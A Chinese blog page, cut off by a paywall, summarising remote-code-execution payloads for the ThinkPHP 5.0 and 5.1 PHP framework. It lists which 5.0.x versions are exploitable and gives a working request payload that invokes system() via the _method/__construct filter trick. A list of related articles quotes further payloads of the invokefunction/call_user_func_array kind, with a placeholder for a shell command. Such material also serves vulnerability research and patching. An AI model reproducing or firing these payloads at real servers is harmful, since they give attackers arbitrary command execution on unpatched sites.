thinkphp5.0和5.1 rce poc总结

最新推荐文章于 2025-04-18 14:27:03 发布
最新推荐文章于 2025-04-18 14:27:03 发布
阅读量1.2w 收藏 28
点赞数 8
分类专栏： php审计
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_40709439/article/details/86564457
版权

照搬Sp4ce大神的： https://bbs.ichunqiu.com/thread-49591-1-1.html

版本名 	是否可被攻击 	攻击条件
5.0.0 	否 	        无
5.0.1 	否 	        无
5.0.2 	否 	        无
5.0.3 	否 	        无
5.0.4 	否 	        无
5.0.5 	否 	        无
5.0.6 	否 	        无
5.0.7 	否 	        无
5.0.8 	是 	        无需开启debug
5.0.9 	是 	        无需开启debug
5.0.10 	是 	        无需开启debug
5.0.11 	是 	        无需开启debug
5.0.12 	是 	        无需开启debug
5.0.13 	是 	        需开启debug
5.0.14 	是 	        需开启debug
5.0.15 	是 	        需开启debug
5.0.16 	是 	        需开启debug
5.0.17 	是 	        需开启debug
5.0.18 	是 	        需开启debug
5.0.19 	是 	        需开启debug
5.0.20 	否 	        无
5.0.21 	是 	        需开启debug
5.0.22 	是 	        需开启debug
5.0.23 	是 	        需开启debug

两个通杀payload

版本号：5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system

版本号：5.0.20~5.0.23
paylo
最低0.47元/天 解锁文章
Thinkphp V5.X 远程代码执行漏洞 - POC（精：集群5.0*、5.1*、5.2*）
墨痕诉清风的博客
11-07 4654
官方公告:1、2、POC：批量检测单个检测。
ThinkPHP5.0.0~5.0.23RCE 漏洞分析及挖掘思路
shelter1234567的博客
01-16 2318
本节我将分析thinkphp5.0.x 版本的RCE漏洞，根据漏洞的研究模拟挖掘此漏洞的思路
fastadmin-thinkphp5.1:ThinkPHP 5.1.38 LTS的fastadmin
05-29
FastAdmin 完全升级 thinkphp5.1 fastadmin： 1.0.0.20190418_beta thinkphp: 5.1.38 LTS 安装使用 环境要求 PHP >= PHP7.1 Mysql >= 5.5.0 (需支持innodb引擎) Apache 或 Nginx PDO PHP Extension MBstring PHP Extension CURL PHP Extension Node.js (可选,用于安装Bower和LESS,同时打包压缩也需要使用到) Composer (可选,用于管理第三方扩展包) Bower (可选,用于管理前端资源) Less (可选,用于编辑less文件,如果你需要增改css样式,最好安装上) 安装 克隆项目 git clone https://github.com/hellowzsg/fastadmin-thinkphp5.
PHP网站漏洞poc,ThinkPHP-5.0.23新的RCE漏洞测试和POC
weixin_29876887的博客
04-02 814
TP5新RCE漏洞昨天又是周五，讨厌周五曝漏洞，还得又得加班，算了，还是先验证一波。新的TP5RCE，据说发现者因为上次的RCE，于是又审计了代码，结果发现的。TP5也成了万人轮啊。测试环境搭建windows下phpstudy，然后下载tp5.0.23到相应的www目录下linux，安装启动apache和php，下载tp5.0.23到相应www目录下mac(本机) 启动apache， 下载tp5....
PHP一句话木马研究
最新发布
Zuozi - 网络从业者长见识就来Zuozi.NET
04-18 406
session_set_save_handler函数可以定义用户级的session保存函数（打开、保存、关闭），当我们想把session保存在本地的一个数据库中时，本函数就很有用了。回调函数：Callback （即call then back 被主函数调用运算后会返回主函数），是指通过函数参数传递到其它代码的，某一块可执行代码的引用。$session被解析为assert，猜测D盾认为该函数的参数中不应该含有assert等敏感函数，否则就挂掉！剩下的回调函数也可以用相同的方法绕过D盾。
探索ThinkPHP RCE POC Collection：一个安全研究者的宝贵资源
gitblog_00020的博客
04-09 489
探索ThinkPHP RCE POC Collection：一个安全研究者的宝贵资源 去发现同类优质开源项目:https://gitcode.com/ 在网络安全领域，漏洞利用与防护是永恒的主题。对于开发者和安全研究人员而言，理解并学习如何处理远程代码执行（RCE）漏洞至关重要。今天，我们要向您推荐一个专注于ThinkPHP框架RCE漏洞Proof-of-Concept（PoC）收集的项目——。 ...
ThinkPHP5--rce远程代码执行
m0_74402888的博客
04-30 1305
在ThinkPHP5版本中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。
ThinkPHP5.x rec漏洞
这里是一处长期不更新的博客
09-23 515
漏洞详情 由于ThinkPHP5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接GetWebShell。 影响版本 ThinkPHP 5.0系列 < 5.0.23 ThinkPHP 5.1系列 < 5.1.31 漏洞利用 ?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[命令] .
kali-linux下安装pocsuite3实战docker搭建的ThinkPHP 5.0,5.1 远程代码执行漏洞环境
小唐同学の博客
11-15 1796
kali-linux下安装pocsuite3实战docker搭建的ThinkPHP 5.0,5.1 远程代码执行漏洞环境 目的： 在kali下安装docker实现快速搭建渗透靶场的目的。 使用pocsuite3打造自己的Poc框架。 环境： kali版本–Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) $(lsb_release -cs) n/a 准备工作： 虚拟机安装好kali后，确保软件源没有问题
浅谈ThinkPH5.0和5.1的反序列化利用链分析
kali_Ma的博客
01-04 1296
前言 本文将总结分析ThinkPHP5.0和5.1中的反序列化利用链，一方面以备不时之需，另一方面算是对php反序列化的深入学习。 其中TP5.0的利用链会复杂很多，所以本文会先介绍TP5.1的利用链。本文主要分析的代码是ThinkPHP5.0.24和ThinkPHP5.1.41，分别是ThinkPHP5.0和5.1的最终版本 代码分析 该条pop链入口在think\process\pipes\Windows类中，利用__destruct()触发 在file_exists($filename)时，可触发__
Thinkphp5.0.x_RCE复现&5.0.24反序列化大礼包
大博的博客
08-07 6801
环境部署 以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1 反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1 漏洞成因 现在TP的RCE通常将其分成两类： Request类其中变量被覆盖导致RCE 路由控制不严谨导致可以调用任意类致使RCE 反序列化的应用（需要存在反序列化的地方） Request类其中变量被覆盖导致RCE 我们以这个POC为例，进行复现： 我们正常的代码逻辑已经简单的写在了前文，如有代码执行疑
thinkphp5RCE
weixin_45778886的博客
03-07 2008
这里写目录标题加载第三方类库captcha路由。非debugpayload:1.路由检测1.1跟进self::routeCheck1.2跟进Route::check1.2.1在check函数进入$request->method(),1.2.2进入method()函数1.2.3进入__construct函数1.3跟进self::checkRoute1.4 跟进self::checkRule1.5跟进self::parseRule2.路由检测后，进入self::exec函数2.1 跟进exec函数2.2R
ThinkPHP v5.0.9 核心版
11-30
ThinkPHP是一个开源的，快速、简单的面向对象的轻量级PHP开发框架，遵循Apache2开源协议发布，是为了敏捷WEB应用 开发和简化企业级应用开发而诞生的。拥有众多的优秀功能和特性，
Thinkphp v5.x 远程代码执行漏洞复现及POC集合
热门推荐
qq_67473072的博客
07-13 1万+
Thinkphp v5.x 远程代码执行漏洞复现及POC集合
ThinkPHP V5的RCE（远程代码执行漏洞）
Home to come
04-18 2219
一、Shell脚本基础知识 1.Shell 输入/输出重定向 常见重定向符号： 1)标准输出 > 覆盖重定向 set -C 关闭覆盖重定向的功能 set +C：恢复 >| 强制重定向 >> 追加重定向 2)标准输入 < a<b :把b交给a执行 tr 替换文件内容（tr set1 [set2]）char(字符：一个...
thinphp5rce漏洞复现
mlws1900的博客
07-07 376
docker搭建过程和2rce一样，不多赘述thinkphp2rce漏洞复现_mlws1900的博客-优快云博客环境搭建成功 poc 执行命令把vars[0]=system&vars[1][]=命令漏洞复现成功
ThinkPHP多语言模块文件包含RCE复现详细教程
ALLEN'Blog
02-14 2283
1、网络安全理论知识（2天）①了解行业相关背景，前景，确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。（非常重要）2、渗透测试基础（一周）①渗透测试的流程、分类、标准②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础（一周）
ThinkPHP5.0.9_SQL注入漏洞分析
！
11-28 1175
ThinkPHP5.0.9_SQL注入漏洞分析 ThinkPHP5.0.9 漏洞代码<?php namespace app\index\controller; class Index{ public function index(){ $id = input('id/a'); $data = db('users')->where('id','in',$id)->select(); dump($data); } } PO
php命令执行漏洞利用,ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析
weixin_31308407的博客
03-21 975
0x01 漏洞利用方式5.0版本POC(不唯一)命令执行：?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]文件写入：?s=index/\think\app/invokefunction&function=call_user_...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值